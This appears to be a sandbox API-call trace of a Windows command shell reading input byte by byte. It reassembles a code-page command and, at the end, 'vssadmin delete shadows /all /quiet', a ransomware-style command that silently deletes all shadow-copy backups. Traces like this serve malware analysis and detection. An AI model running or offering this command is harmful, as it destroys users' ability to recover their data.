	[0179.464] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.464] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1
	[0179.464] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.464] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.464] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.464] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1
	[0179.464] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.464] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.464] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.464] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1
	[0179.465] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.465] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.465] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.465] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1
	[0179.465] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.465] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.465] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.465] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1
	[0179.465] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.465] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.465] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.465] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1
	[0179.465] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.465] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.465] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.465] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1
	[0179.465] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.465] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.465] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.465] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1
	[0179.465] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.465] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.465] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.465] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1
	[0179.465] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.465] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.466] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.466] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1
	[0179.466] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.466] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.466] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.466] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1
	[0179.466] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.466] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.466] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.466] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1
	[0179.466] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.466] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.466] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.466] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1
	[0179.466] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.466] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.466] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.466] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1
	[0179.466] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.466] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.466] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.466] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1
	[0179.466] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.466] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.466] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.467] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1
	[0179.467] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.467] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.467] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.467] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1
	[0179.467] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.467] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.467] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.467] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1
	[0179.467] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.467] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.467] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.467] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1
	[0179.467] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.467] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.467] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.467] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1
	[0179.467] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.467] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.467] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.467] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1
	[0179.467] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.467] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.467] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.467] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1
	[0179.468] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.468] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.468] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.468] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1
	[0179.468] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.468] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.468] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.468] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0179.468] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.468] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.468] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.468] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0179.468] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.468] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.468] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.468] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0179.468] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.468] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.468] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.468] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0179.468] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.468] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.468] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.468] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0179.468] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.468] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.469] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.469] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0179.469] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.469] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.469] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.469] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0179.469] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.469] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.469] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.469] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1
	[0179.469] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.469] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.469] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.469] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0179.469] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.469] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.469] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.469] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1
	[0179.469] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.469] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.469] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.469] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0179.469] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.469] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.469] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.470] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0179.470] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.470] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.470] ReadFile (in: hFile=0x248, lpBuffer=0x7ff633179970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xb1e76ff778, lpOverlapped=0x0 | out: lpBuffer=0x7ff633179970*, lpNumberOfBytesRead=0xb1e76ff778*=0x1, lpOverlapped=0x0) returned 1
	[0179.470] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff633179970, cbMultiByte=1, lpWideCharStr=0x7ff633183c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0179.470] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.470] GetFileType (hFile=0x248) returned 0x3
	[0179.470] _get_osfhandle (_FileHandle=0) returned 0x248
	[0179.470] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0179.470] _get_osfhandle (_FileHandle=1) returned 0x254
	[0179.470] GetFileType (hFile=0x254) returned 0x3
	[0179.470] _get_osfhandle (_FileHandle=1) returned 0x254
	[0179.470] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff633179970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37
